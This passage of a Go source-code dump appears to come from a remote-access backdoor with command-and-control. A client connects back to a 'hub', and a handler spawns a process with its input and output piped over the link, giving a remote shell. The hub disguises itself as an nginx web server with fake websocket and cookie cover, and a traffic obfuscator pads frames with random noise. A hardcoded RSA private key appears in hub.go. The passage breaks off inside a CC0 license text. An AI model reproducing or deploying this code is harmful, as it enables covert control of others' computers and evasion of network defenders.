| 94 | kit.Cp(p1, p2) 95 | //Vln(3, "[cls]", backend) 96 | } 97 | 98 | // p1 = socks5 client, p2 = fast server 99 | var HandleSocksF = func (p1, p2 net.Conn) { 100 | var b [320]byte 101 | n, err := p1.Read(b[:]) 102 | if err != nil { 103 | //Vln(3, "socks client read", p1, err) 104 | return 105 | } 106 | if b[0] != 0x05 { //only Socket5 107 | return 108 | } 109 | 110 | //reply: NO AUTHENTICATION REQUIRED 111 | p1.Write([]byte{0x05, 0x00}) 112 | 113 | n, err = p1.Read(b[:]) 114 | if b[1] != 0x01 { // 0x01: CONNECT 115 | s5ReplyAndClose(p1, 0x07) // X'07' Command not supported 116 | return 117 | } 118 | 119 | // var backend string 120 | switch b[3] { 121 | case 0x01: //IP V4 122 | // backend = net.IPv4(b[4], b[5], b[6], b[7]).String() 123 | if n != 10 { 124 | s5ReplyAndClose(p1, 0x07) // X'07' Command not supported 125 | return 126 | } 127 | case 0x03: //DOMAINNAME 128 | // backend = string(b[5 : n-2]) //b[4] domain name length 129 | case 0x04: //IP V6 130 | // backend = net.IP{b[4], b[5], b[6], b[7], b[8], b[9], b[10], b[11], b[12], b[13], b[14], b[15], b[16], b[17], b[18], b[19]}.String() 131 | if n != 22 { 132 | s5ReplyAndClose(p1, 0x07) // X'07' Command not supported 133 | return 134 | } 135 | default: 136 | s5ReplyAndClose(p1, 0x08) // X'08' Address type not supported 137 | return 138 | } 139 | 140 | 141 | // send to proxy 142 | p2.Write(b[0:n]) 143 | 144 | var b2 [10]byte 145 | n2, err := p2.Read(b2[:10]) 146 | if n2 < 10 { 147 | // Vln(2, "Dial err replay:", backend, n2) 148 | s5ReplyAndClose(p1, 0x03) 149 | return 150 | } 151 | if err != nil || b2[1] != 0x00 { 152 | // Vln(2, "socks err to:", backend, n2, b2[1], err) 153 | s5ReplyAndClose(p1, int(b2[1])) 154 | return 155 | } 156 | 157 | // Vln(3, "[got]", backend, p1.RemoteAddr()) 158 | reply := []byte{0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} 159 | p1.Write(reply) // reply OK 160 | kit.Cp(p1, p2) 161 | // Vln(3, "[cls]", backend, p1.RemoteAddr()) 162 | } 163 | 164 | -------------------------------------------------------------------------------- /lib/streamcoder/flowobf.go: -------------------------------------------------------------------------------- 1 | package streamcoder 2 | 3 | import ( 4 | "encoding/binary" 5 | "math/rand" 6 | "sync" 7 | "time" 8 | "io" 9 | "net" 10 | 11 | // "log" 12 | ) 13 | 14 | type FlowObf struct { 15 | In net.Conn //io.ReadWriteCloser 16 | DataLen int 17 | NoiseMinLen int 18 | NoiseMaxLen int 19 | rbuf []byte 20 | rbufLock sync.Mutex 21 | wbuf sync.Pool 22 | rem []byte 23 | } 24 | 25 | type Frame struct { 26 | d []byte 27 | l int 28 | rl int 29 | } 30 | 31 | func (c *FlowObf) Close() error { 32 | if err := c.In.Close(); err != nil { 33 | return err 34 | } 35 | return nil 36 | } 37 | 38 | func (c *FlowObf) Read(data []byte) (n int, err error) { 39 | dlen := len(data) 40 | 41 | n = copy(data, c.rem) 42 | if n == len(c.rem) { 43 | c.rem = make([]byte, 0, c.DataLen) 44 | } else { 45 | c.rem = c.rem[n:] 46 | } 47 | if n == dlen { 48 | return n, nil 49 | } 50 | 51 | f, err := c.readFrame(c.rbuf) 52 | c.rem = append(c.rem, f.d[:f.l]...) 53 | n2 := copy(data[n:], c.rem) 54 | if n2 == len(c.rem) { 55 | c.rem = make([]byte, 0, c.DataLen) 56 | } else { 57 | c.rem = c.rem[n2:] 58 | } 59 | return n + n2, err 60 | } 61 | 62 | func (c *FlowObf) Write(data []byte) (n int, err error) { 63 | frames := c.split(data) 64 | sent := 0 65 | rawsnd := 0 66 | for k := range frames { 67 | f := frames[k] 68 | n, err := c.In.Write(f.d[:f.l]) 69 | c.wbuf.Put(f) 70 | sent += n 71 | rawsnd += f.rl 72 | if err != nil { 73 | return rawsnd, err 74 | } 75 | } 76 | 77 | return rawsnd, nil 78 | } 79 | 80 | // LocalAddr satisfies net.Conn interface 81 | func (c *FlowObf) LocalAddr() net.Addr { 82 | if ts, ok := c.In.(interface { 83 | LocalAddr() net.Addr 84 | }); ok { 85 | return ts.LocalAddr() 86 | } 87 | return nil 88 | } 89 | 90 | // RemoteAddr satisfies net.Conn interface 91 | func (c *FlowObf) RemoteAddr() net.Addr { 92 | if ts, ok := c.In.(interface { 93 | RemoteAddr() net.Addr 94 | }); ok { 95 | return ts.RemoteAddr() 96 | } 97 | return nil 98 | } 99 | 100 | func (c *FlowObf) SetReadDeadline(t time.Time) error { 101 | return c.In.SetReadDeadline(t) 102 | // return nil 103 | } 104 | 105 | func (c *FlowObf) SetWriteDeadline(t time.Time) error { 106 | return c.In.SetWriteDeadline(t) 107 | // return nil 108 | } 109 | 110 | func (c *FlowObf) SetDeadline(t time.Time) error { 111 | if err := c.SetReadDeadline(t); err != nil { 112 | return err 113 | } 114 | if err := c.SetWriteDeadline(t); err != nil { 115 | return err 116 | } 117 | return nil 118 | } 119 | 120 | // noise = 0 ~ 65535 121 | // data = 0 ~ 65535 122 | func NewFlowObf(con net.Conn, maxData int, maxNoise int) (c *FlowObf, err error) { 123 | c = &FlowObf{} 124 | c.In = con 125 | c.DataLen = maxData 126 | c.NoiseMaxLen = maxNoise 127 | c.rbuf = make([]byte, maxData + maxNoise + 4, maxData + maxNoise + 4) 128 | 129 | c.wbuf.New = func() interface{} { 130 | return Frame{ 131 | d: make([]byte, maxData + maxNoise + 4, maxData + maxNoise + 4), 132 | l: 0, 133 | } 134 | } 135 | 136 | return c, nil 137 | } 138 | 139 | func init() () { 140 | rand.Seed(int64(time.Now().Nanosecond())) 141 | } 142 | 143 | func (c *FlowObf) readFrame(b []byte) (f Frame, err error) { 144 | if _, err := io.ReadFull(c.In, b[:4]); err != nil { 145 | return f, err 146 | } 147 | 148 | noiseLen := binary.LittleEndian.Uint16(b[0:2]) 149 | dataLen := binary.LittleEndian.Uint16(b[2:4]) 150 | 151 | /* if noiseLen > 0 || dataLen > 0 { 152 | log.Println("readFrame", noiseLen, dataLen) 153 | }*/ 154 | 155 | if noiseLen > 0 { 156 | if n, err := io.ReadFull(c.In, b[4:4+noiseLen]); err != nil { 157 | f.d = b[4:4+n] 158 | f.l = n 159 | return f, err 160 | } 161 | } 162 | if dataLen > 0 { 163 | if n, err := io.ReadFull(c.In, b[4+noiseLen:4+noiseLen+dataLen]); err != nil { 164 | f.d = b[4+noiseLen:4+int(noiseLen)+n] 165 | f.l = n 166 | return f, err 167 | } 168 | f.d = b[4+noiseLen : 4+noiseLen+dataLen] 169 | f.l = int(dataLen) 170 | return f, nil 171 | } 172 | return f, nil 173 | } 174 | 175 | func (c *FlowObf) split(bts []byte) ([]Frame) { 176 | frames := make([]Frame, 0, len(bts)/c.DataLen+1) 177 | for len(bts) > c.DataLen { 178 | buf := c.mkFrame(bts[:c.DataLen], c.DataLen) 179 | frames = append(frames, buf) 180 | bts = bts[c.DataLen:] 181 | } 182 | if len(bts) > 0 { 183 | n := len(bts) 184 | buf := c.mkFrame(bts[:n], n) 185 | frames = append(frames, buf) 186 | } 187 | return frames 188 | } 189 | 190 | func (c *FlowObf) mkNoise(buf []byte, dn int) (n int) { 191 | if dn > c.NoiseMaxLen { 192 | n = rand.Intn(5) 193 | } else { 194 | n = rand.Intn(c.NoiseMaxLen) 195 | } 196 | binary.LittleEndian.PutUint16(buf[0:2], uint16(n)) 197 | rand.Read(buf[4:4+n]) 198 | return 199 | } 200 | 201 | func (c *FlowObf) mkFrame(bts []byte, lts int) (Frame) { 202 | buf := c.wbuf.Get().(Frame) 203 | n := c.mkNoise(buf.d, len(bts)) 204 | binary.LittleEndian.PutUint16(buf.d[2:4], uint16(lts)) 205 | copy(buf.d[4+n:], bts[:lts]) 206 | buf.l = 4 + n + lts 207 | buf.rl = lts 208 | return buf 209 | } 210 | 211 | 212 | -------------------------------------------------------------------------------- /lib/streamcoder/flowstat.go: -------------------------------------------------------------------------------- 1 | package streamcoder 2 | 3 | import ( 4 | "sync" 5 | "sync/atomic" 6 | "time" 7 | "net" 8 | 9 | // "log" 10 | ) 11 | 12 | type FlowStat struct { 13 | In net.Conn 14 | Tx int64 15 | Rx int64 16 | TxSPD int 17 | RxSPD int 18 | 19 | start time.Time 20 | end time.Time 21 | die chan struct{} 22 | dieLock sync.Mutex 23 | 24 | 25 | rxLim float64 26 | rx0 int64 27 | rxt time.Time 28 | 29 | txLim float64 30 | tx0 int64 31 | txt time.Time 32 | } 33 | 34 | func (c *FlowStat) Close() error { 35 | c.dieLock.Lock() 36 | 37 | select { 38 | case <-c.die: 39 | c.dieLock.Unlock() 40 | return nil 41 | default: 42 | } 43 | 44 | close(c.die) 45 | c.end = time.Now() 46 | return c.In.Close() 47 | } 48 | 49 | func (c *FlowStat) Read(data []byte) (n int, err error) { 50 | n, err = c.In.Read(data) 51 | // atomic.AddInt64(&c.Rx, int64(n)) 52 | curr := atomic.AddInt64(&c.Rx, int64(n)) 53 | 54 | if c.rxLim <= 0 { 55 | return 56 | } 57 | 58 | now := time.Now() 59 | emsRx := int64(c.rxLim * now.Sub(c.rxt).Seconds()) + c.rx0 60 | if curr > emsRx { 61 | over := curr - emsRx 62 | sleep := float64(over) / c.rxLim 63 | sleepT := time.Duration(sleep * 1000000000) * time.Nanosecond 64 | //log.Println("[Rx over]", curr, emsRx, over, sleepT) 65 | select { 66 | case <-c.die: 67 | return n, err 68 | case <-time.After(sleepT): 69 | } 70 | } else { 71 | c.rxt = now 72 | c.rx0 = curr 73 | } 74 | 75 | return n, err 76 | } 77 | 78 | func (c *FlowStat) Write(data []byte) (n int, err error) { 79 | n, err = c.In.Write(data) 80 | // atomic.AddInt64(&c.Tx, int64(n)) 81 | curr := atomic.AddInt64(&c.Tx, int64(n)) 82 | 83 | if c.txLim <= 0 { 84 | return 85 | } 86 | 87 | now := time.Now() 88 | emsTx := int64(c.txLim * now.Sub(c.txt).Seconds()) + c.tx0 89 | if curr > emsTx { 90 | over := curr - emsTx 91 | sleep := float64(over) / c.txLim 92 | sleepT := time.Duration(sleep * 1000000000) * time.Nanosecond 93 | //log.Println("[Tx over]", curr, emsTx, over, sleepT) 94 | select { 95 | case <-c.die: 96 | return n, err 97 | case <-time.After(sleepT): 98 | } 99 | } else { 100 | c.txt = now 101 | c.tx0 = curr 102 | } 103 | 104 | return n, err 105 | } 106 | 107 | // LocalAddr satisfies net.Conn interface 108 | func (c *FlowStat) LocalAddr() net.Addr { 109 | if ts, ok := c.In.(interface { 110 | LocalAddr() net.Addr 111 | }); ok { 112 | return ts.LocalAddr() 113 | } 114 | return nil 115 | } 116 | 117 | // RemoteAddr satisfies net.Conn interface 118 | func (c *FlowStat) RemoteAddr() net.Addr { 119 | if ts, ok := c.In.(interface { 120 | RemoteAddr() net.Addr 121 | }); ok { 122 | return ts.RemoteAddr() 123 | } 124 | return nil 125 | } 126 | 127 | func (c *FlowStat) SetReadDeadline(t time.Time) error { 128 | return c.In.SetReadDeadline(t) 129 | } 130 | 131 | func (c *FlowStat) SetWriteDeadline(t time.Time) error { 132 | return c.In.SetWriteDeadline(t) 133 | } 134 | 135 | func (c *FlowStat) SetDeadline(t time.Time) error { 136 | if err := c.SetReadDeadline(t); err != nil { 137 | return err 138 | } 139 | if err := c.SetWriteDeadline(t); err != nil { 140 | return err 141 | } 142 | return nil 143 | } 144 | 145 | func NewFlowStat(con net.Conn) (c *FlowStat, err error) { 146 | c = &FlowStat{} 147 | c.die = make(chan struct{}) 148 | c.In = con 149 | 150 | 151 | now := time.Now() 152 | c.start = now 153 | c.rxt = now 154 | c.txt = now 155 | 156 | // c.rxLim = 1 * 1024 * 1024 157 | // c.txLim = 2.5 * 1024 * 1024 158 | 159 | // go c.calcSpd() 160 | 161 | return c, nil 162 | } 163 | 164 | func (c *FlowStat) calcSpd() { 165 | tick := time.NewTicker(5 * time.Second) 166 | defer tick.Stop() 167 | 168 | var t0 = time.Now() 169 | var Tx0 int64 = c.Tx 170 | var Rx0 int64 = c.Rx 171 | 172 | for { 173 | select { 174 | case <-tick.C: 175 | dt := time.Now().Sub(t0).Seconds() 176 | c.TxSPD = int(float64(c.Tx - Tx0) / dt) 177 | c.RxSPD = int(float64(c.Rx - Rx0) / dt) 178 | 179 | Tx0 = c.Tx 180 | Rx0 = c.Rx 181 | t0 = time.Now() 182 | 183 | //log.Println("[SPD]", c.TxSPD, c.RxSPD) 184 | case <-c.die: 185 | return 186 | } 187 | } 188 | } 189 | 190 | // kBytes / sec 191 | func (c *FlowStat) SetRxSpd(spd int) { 192 | now := time.Now() 193 | c.rxt = now 194 | c.rx0 = c.Rx 195 | c.rxLim = float64(spd) * 1024 196 | } 197 | 198 | func (c *FlowStat) SetTxSpd(spd int) { 199 | now := time.Now() 200 | c.txt = now 201 | c.tx0 = c.Tx 202 | c.txLim = float64(spd) * 1024 203 | } 204 | 205 | func (c *FlowStat) Dt() (dt time.Duration) { 206 | select { 207 | case <-c.die: 208 | dt = c.end.Sub(c.start) 209 | default: 210 | dt = time.Now().Sub(c.start) 211 | } 212 | return dt 213 | } 214 | 215 | func (c *FlowStat) AvgRx() (n int64) { 216 | n = atomic.LoadInt64(&c.Rx) 217 | dt := c.Dt().Seconds() 218 | n = int64(float64(n) / dt) 219 | return 220 | } 221 | 222 | func (c *FlowStat) AvgTx() (n int64) { 223 | n = atomic.LoadInt64(&c.Tx) 224 | dt := c.Dt().Seconds() 225 | n = int64(float64(n) / dt) 226 | return 227 | } 228 | 229 | 230 | -------------------------------------------------------------------------------- /lib/base/client.go: -------------------------------------------------------------------------------- 1 | package base 2 | 3 | import ( 4 | "net" 5 | "io" 6 | // "os" 7 | "os/exec" 8 | "sync" 9 | // "time" 10 | "runtime" 11 | "syscall" 12 | "crypto/rand" 13 | 14 | kit "local/toolkit" 15 | "local/streamcoder" 16 | "lib/smux" 17 | ) 18 | 19 | var ops = make(map[string](func (string, net.Conn, *Client, *smux.Session)())) 20 | var inits = make([](func (*Client)()), 0) 21 | 22 | type Client struct { 23 | UUID []byte 24 | cmd *exec.Cmd 25 | cmdOut io.ReadCloser 26 | cmdIn io.WriteCloser 27 | cmdMx sync.Mutex 28 | Proc int 29 | AgentTag string 30 | HubPubKey []byte 31 | HubKeyTag string 32 | Daemon bool 33 | AutoClean bool 34 | Info *Info 35 | 36 | Dial func(addr string) (net.Conn, error) 37 | 38 | binMx sync.Mutex 39 | selfbyte []byte 40 | selfhex []byte 41 | selfbyte1 []byte 42 | selfhex1 []byte 43 | } 44 | 45 | func NewClient() (*Client) { 46 | return &Client{ 47 | AgentTag: clientAgentTag, 48 | HubKeyTag: initKeyTag, 49 | Proc: 1, 50 | Info: NewInfo(), 51 | Daemon: false, 52 | } 53 | } 54 | 55 | func NewClientM() (*Client) { 56 | return &Client{ 57 | AgentTag: clientAgentTag, 58 | HubKeyTag: initKeyTag, 59 | Proc: runtime.NumCPU(), 60 | Info: NewInfo(), 61 | Daemon: false, 62 | } 63 | } 64 | 65 | var RegOps = func (tag string, fn (func (string, net.Conn, *Client, *smux.Session)()) ) { 66 | if ops == nil { 67 | ops = make(map[string](func (string, net.Conn, *Client, *smux.Session)())) 68 | } 69 | 70 | if fn == nil { 71 | delete(ops, tag) 72 | } else { 73 | ops[tag] = fn 74 | } 75 | } 76 | 77 | var RegInit = func (fn (func (*Client)()) ) { 78 | if inits == nil { 79 | inits = make([](func (*Client)()), 0) 80 | } 81 | 82 | inits = append(inits, fn) 83 | } 84 | 85 | func (c *Client) Start(addr string) { 86 | 87 | for _, f := range inits { 88 | f(c) 89 | } 90 | 91 | runtime.GOMAXPROCS(c.Proc) 92 | 93 | createConn := func() (session *smux.Session, err error) { 94 | 95 | var conn net.Conn 96 | 97 | if c.Dial == nil { 98 | conn, err = net.Dial("tcp", addr) 99 | } else { 100 | conn, err = c.Dial(addr) 101 | } 102 | if err != nil { 103 | return 104 | } 105 | 106 | // do handshake 107 | encKey := make([]byte, 88, 88) 108 | rand.Read(encKey) 109 | 110 | //Vln(6, "encKey = ", encKey) 111 | 112 | publicKey, _ := kit.ParseRSAPub(c.HubPubKey) 113 | ciphertext, err := kit.EncRSA(publicKey, encKey) 114 | if err != nil { 115 | return 116 | } 117 | 118 | kit.WriteTagStr(conn, c.HubKeyTag) 119 | conn.Write(ciphertext) 120 | 121 | 122 | // do encode 123 | // key = 32 bytes x 2 124 | // nonce = 12 bytes x 2 125 | enccon, _ := streamcoder.NewCoder(conn, encKey[0:64], encKey[64:88], true) 126 | 127 | // read nonce && rekey 128 | nonce, err := kit.ReadTagByte(enccon) 129 | if err != nil { 130 | return 131 | } 132 | pass := append(encKey[0:64], nonce...) 133 | enccon.ReKey(pass) 134 | 135 | // send agent 136 | kit.WriteTagStr(enccon, c.AgentTag) 137 | kit.WriteTagByte(enccon, c.UUID) 138 | 139 | // stream multiplex 140 | smuxConfig := smux.DefaultConfig() 141 | session, err = smux.Client(enccon, smuxConfig) 142 | if err != nil { 143 | return 144 | } 145 | 146 | //Vln(2, "connect to:", conn.RemoteAddr()) 147 | 148 | return session, nil 149 | } 150 | 151 | // wait until a connection is ready 152 | waitConn := func() *smux.Session { 153 | for { 154 | if session, err := createConn(); err == nil { 155 | return session 156 | } else { 157 | kit.SleepRand() 158 | } 159 | } 160 | } 161 | 162 | for { 163 | mux := waitConn() 164 | for { 165 | p1, err := mux.AcceptStream() 166 | if err != nil { 167 | mux.Close() 168 | break 169 | } 170 | 171 | go c.handle1(p1, mux) 172 | } 173 | //Vln(2, "connect end") 174 | kit.SleepRand() 175 | } 176 | } 177 | 178 | func (c *Client) handle1(p1 net.Conn, mux *smux.Session) { 179 | 180 | // get mode 181 | mode, err := kit.ReadTagStr(p1) 182 | if err != nil { 183 | kit.TrollConn(p1) 184 | } 185 | //Vln(3, "Mode:", mode) 186 | defer p1.Close() 187 | 188 | fn, ok := ops[mode] 189 | if !ok { 190 | kit.WriteVLen(p1, int64(9)) 191 | //kit.TrollConn(p1) 192 | return 193 | } 194 | 195 | kit.WriteVLen(p1, int64(0)) 196 | fn(mode, p1, c, mux) 197 | } 198 | 199 | func (c *Client) handle2(p1 net.Conn, keep bool, bin string) { 200 | 201 | if keep { 202 | c.cmdMx.Lock() 203 | if c.cmd == nil { 204 | c.cmd = exec.Command(bin) 205 | c.cmd.SysProcAttr = & syscall.SysProcAttr{ 206 | Setpgid: true, 207 | // Noctty: true, 208 | } 209 | c.cmdIn, _ = c.cmd.StdinPipe() 210 | c.cmdOut, _ = c.cmd.StdoutPipe() 211 | 212 | err := c.cmd.Start() // need cmd.Wait() or blocking 213 | //Vln(6, "shk init =", err) 214 | if err == nil { 215 | go func(){ 216 | c.cmd.Wait() 217 | //Vln(6, "shk cmd end", c.cmd.ProcessState.Exited(), c.cmd.ProcessState) 218 | c.cmdIn.Close() 219 | c.cmdOut.Close() 220 | c.cmdMx.Lock() 221 | c.cmd = nil 222 | c.cmdMx.Unlock() 223 | }() 224 | } else { 225 | p1.Write([]byte(err.Error())) 226 | } 227 | } 228 | kit.Cp3(c.cmdOut, p1, c.cmdIn) 229 | c.cmdMx.Unlock() 230 | 231 | } else { 232 | cmd := exec.Command(bin) 233 | cmd.Stdout = p1 234 | cmd.Stderr = p1 235 | cmd.Stdin = p1 236 | err := cmd.Run() 237 | if err != nil { 238 | p1.Write([]byte(err.Error())) 239 | } 240 | } 241 | } 242 | 243 | 244 | -------------------------------------------------------------------------------- /hub/hub.go: -------------------------------------------------------------------------------- 1 | // go build hub.go share.go 2 | 3 | package main 4 | 5 | import ( 6 | "flag" 7 | "log" 8 | "net" 9 | "os" 10 | "encoding/base64" 11 | 12 | "crypto/tls" 13 | "net/http" 14 | 15 | "lib/fakehttp" 16 | "local/base" 17 | vlog "local/log" 18 | ) 19 | 20 | var bind = flag.String("l", ":8787", "bind port") 21 | var verb = flag.Int("v", 6, "verbosity") 22 | 23 | var ( 24 | fakeHttp = flag.Bool("http", true, "act as http server") 25 | 26 | dir = flag.String("d", "./www", "web/file server root dir") 27 | 28 | tokenCookieA = flag.String("ca", "cna", "token cookie name A") 29 | tokenCookieB = flag.String("cb", "_tb_token_", "token cookie name B") 30 | tokenCookieC = flag.String("cc", "_cna", "token cookie name C") 31 | headerServer = flag.String("hdsrv", "nginx", "http header: Server") 32 | wsObf = flag.Bool("usews", true, "fake as websocket") 33 | onlyWs = flag.Bool("onlyws", false, "only accept websocket") 34 | 35 | crtFile = flag.String("crt", "", "PEM encoded certificate file") 36 | keyFile = flag.String("key", "", "PEM encoded private key file") 37 | ) 38 | 39 | func main() { 40 | vlog.Std.SetFlags(log.LstdFlags | log.Lmicroseconds) 41 | flag.Parse() 42 | vlog.Verbosity = *verb 43 | 44 | ikey, _ := base64.StdEncoding.DecodeString("MIIEowIBAAKCAQEArogYEOHItjtm0wJOX+hSHjGTIPUsRo/TyLGYxWVk79pNWAhCSvH9nfvpx0skefcL/Nd++Qb/zb3c+o7ZI4zbMKZJLim3yaN8IDlgrjKG7wmjB5r49++LrvRzjIJCAoeFog2PfEn3qlQ+PA26TqLsbPNZi9nsaHlwTOqGljg82g23Zqj1o5JfitJvVlRLmhPqc8kO+4Dvf08MdVS6vBGZjzWFmGx9k3rrDoi7tem22MflFnOQhgLJ4/sbd4Y71ok98ChrQhb6SzZKVWN5v7VCuKqhFLmhZuK0z0f/xkBNcMeCplVLhs/gLIU3HBmvbBSYhmN4dDL19cAv1MkQ6lb1dwIDAQABAoIBAQCXlhqY5xGlvTgUg0dBI43XLaWlFWyMKLV/9UhEAknFzOwqTpoNb9qgUcD9WHVo/TpLM3vTnNGmh4YblOBhcSCbQ4IB9zfqiPTxJASlp7rseIlBvMcKyOKgZS7K1gOxILXfRzndcH0MUjjvfdjYHceM5VtcDT24i+kO1Q9p/5RSqfGu9wz56tqEQE4Z1OTzD+dD9tGeciiyZ9qDoDC/tb0oBKSFK+DlZZOrSBSpGk2Qur4BgVAgL3wunATzGpxxaCAf+9lBEUBCrZbUkeQIKoFbvjqee5Fb2tfdqquMG1FX3CuCovsW7aMKjpAK5TsKuZD88EWje42JV6wmJ/Q4nGvBAoGBAMs6Hs/UX60uZ10mTVKoHU/Mm6lr/FBDo4LF165SX/+sH87KbNlmOO9YBZGJBm1AnsxaNYLjT39EiGlZZbCYRwre/D/9z+hY9J0Yhz/eo8fGsee3f7SU8U9kRH0CFn5MI8Wf7YgNH97uky9i41rqYtkxf2GvqMYl5yzVpQk3fu0XAoGBANvaZQs9DuwFwekzncFcejLHv2CQEDDqtEybmh5PB9YHN+RyHRlxPmYC1d1ElvHO65Tfhgcd0fL0EkSHCXFHfmsIcpSHuUlBpFSrI6btygf+U/U8VLwzXI71cpoE5n+E7rR0J5hTvTo/FccdilV/CubgIZbQ6VSaAxw4HBA5JzahAn9Q+NdN91AnsFV+x8QHKvSC1wMufdgKIukDMdC9pBSbyfjia8Ty2cfVlTyiv/XPke+zfD3V6LvD+Ypgbz4VHpcvvajD1l0ANnFAJoW87PhUoNZBfNtlF/MNruWa6ToNGEkodJAvpQsNyADc4Im1r62y3AXk5hhY2sFBG96lzXbFAoGBAKhoBUhzj++ZhWz13dyU0wH84gq8r7pYvp2D/61BynXW96hlBQdNKIgJmfqxJJK7dteF1Ou0mvLopOmbKs97/UlNoj9GK9cCkjdNFLU0prIyzesnOJ0lFrxnJU73e/yoPhU6eG4FjwiD9FGevi05cIdjnjchdeoZQ1KlZFHFBdWhAoGBAMrwhd20ww6/VrVQShLVB0P3Zn3aKUqUvU9si616iyNSpuZ9dstXYNYAbPav02PL0NOPMDHC6/SERbJQQCnnBqbDBwmUHVmr0W3rvD+DUgihpgTTxArb0FfguJQlKN6whlHOLrf6sC1YebQWhFvPTNQqfSjfO9/g37usDNcskguf") 45 | akey, _ := base64.StdEncoding.DecodeString("MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEc8tgqZX82zrd6809YWzJkh4zhvaoCEbkU8yxBW+a9U1L+XgItJGRL33vYecv4lH9ovSNgJiyvnqdmqkJtwq52Q==") 46 | 47 | hub := base.NewHubM() 48 | hub.DefIKey(2048, ikey) 49 | hub.DefAKey(akey) 50 | hub.OnePerIP = false 51 | 52 | var srv net.Listener 53 | if *fakeHttp { 54 | 55 | // simple http Handler setup 56 | fileHandler := http.FileServer(http.Dir(*dir)) 57 | websrv := fakehttp.NewHandle(fileHandler) // bind handler 58 | websrv.UseWs = *wsObf 59 | websrv.OnlyWs = *onlyWs 60 | http.Handle("/", websrv) // now add to http.DefaultServeMux 61 | 62 | // start http server 63 | httpSrv := &http.Server{Addr: *bind, Handler: nil} 64 | go startServer(httpSrv) 65 | 66 | srv = websrv 67 | } else { 68 | lis, err := net.Listen("tcp", *bind) 69 | if err != nil { 70 | vlog.Vln(2, "Error listening:", err.Error()) 71 | os.Exit(1) 72 | } 73 | defer lis.Close() 74 | srv = lis 75 | vlog.Vln(2, "listening on:", lis.Addr()) 76 | } 77 | vlog.Vln(2, "verbosity:", vlog.Verbosity) 78 | 79 | for { 80 | if conn, err := srv.Accept(); err == nil { 81 | //vlog.Vln(2, "remote address:", conn.RemoteAddr()) 82 | 83 | go hub.HandleClient(conn) 84 | } else { 85 | vlog.Vln(2, "Accept err:", err) 86 | } 87 | } 88 | 89 | } 90 | 91 | func startServer(srv *http.Server) { 92 | var err error 93 | 94 | // check tls 95 | if *crtFile != "" && *keyFile != "" { 96 | cfg := &tls.Config{ 97 | MinVersion: tls.VersionTLS12, 98 | CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256}, 99 | PreferServerCipherSuites: true, 100 | CipherSuites: []uint16{ 101 | 102 | tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305, 103 | tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305, 104 | 105 | tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, 106 | tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, 107 | 108 | tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, // http/2 must 109 | tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, // http/2 must 110 | 111 | tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, 112 | tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, 113 | 114 | tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, 115 | tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, 116 | 117 | tls.TLS_RSA_WITH_AES_256_GCM_SHA384, // weak 118 | tls.TLS_RSA_WITH_AES_256_CBC_SHA, // waek 119 | }, 120 | } 121 | srv.TLSConfig = cfg 122 | //srv.TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0) // disable http/2 123 | 124 | vlog.Vf(2, "[server] HTTPS server Listen on: %v", srv.Addr) 125 | err = srv.ListenAndServeTLS(*crtFile, *keyFile) 126 | } else { 127 | vlog.Vf(2, "[server] HTTP server Listen on: %v", srv.Addr) 128 | err = srv.ListenAndServe() 129 | } 130 | 131 | if err != http.ErrServerClosed { 132 | vlog.Vf(2, "[server] ListenAndServe error: %v", err) 133 | } 134 | } 135 | 136 | -------------------------------------------------------------------------------- /lib/chacha20/LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Legal Code 2 | 3 | CC0 1.0 Universal 4 | 5 | CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE 6 | LEGAL SERVICES. DISTRIBUTION OF THIS DOCUMENT DOES NOT CREATE AN 7 | ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS 8 | INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES 9 | REGARDING THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS 10 | PROVIDED HEREUNDER, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM 11 | THE USE OF THIS DOCUMENT OR THE INFORMATION OR WORKS PROVIDED 12 | HEREUNDER. 13 | 14 | Statement of Purpose 15 | 16 | The laws of most jurisdictions throughout the world automatically confer 17 | exclusive Copyright and Related Rights (defined below) upon the creator 18 | and subsequent owner(s) (each and all, an "owner") of an original work of 19 | authorship and/or a database (each, a "Work"). 20 | 21 | Certain owners wish to permanently relinquish those rights to a Work for 22 | the purpose of contributing to a commons of creative, cultural and 23 | scientific works ("Commons") that the public can reliably and without fear 24 | of later claims of infringement build upon, modify, incorporate in other 25 | works, reuse and redistribute as freely as possible in any form whatsoever 26 | and for any purposes, including without limitation commercial purposes. 27 | These owners may contribute to the Commons to promote the ideal of a free 28 | culture and the further production of creative, cultural and scientific 29 | works, or to gain reputation or greater distribution for their Work in 30 | part through the use and efforts of others. 31 | 32 | For these and/or other purposes and motivations, and without any 33 | expectation of additional consideration or compensation, the person 34 | associating CC0 with a Work (the "Affirmer"), to the extent that he or she 35 | is an owner of Copyright and Related Rights in the Work, voluntarily 36 | elects to apply CC0 to the Work and publicly distribute the Work under its 37 | terms, with knowledge of his or her Copyright and Related Rights in the 38 | Work and the meaning and intended legal effect of CC0 on those rights. 39 | 40 | 1. Copyright and Related Rights. A Work made available under CC0 may be 41 | protected by copyright and related or neighboring rights ("Copyright and 42 | Related Rights"). Copyright and Related Rights include, but are not 43 | limited to, the following: 44 | 45 | i. the right to reproduce, adapt, distribute, perform, display, 46 | communicate, and translate a Work; 47 | ii. moral rights retained by the original author(s) and/or performer(s); 48 | iii. publicity and privacy rights pertaining to a person's image or 49 | likeness depicted in a Work; 50 | iv. rights protecting against unfair competition in regards to a Work, 51 | subject to the limitations in 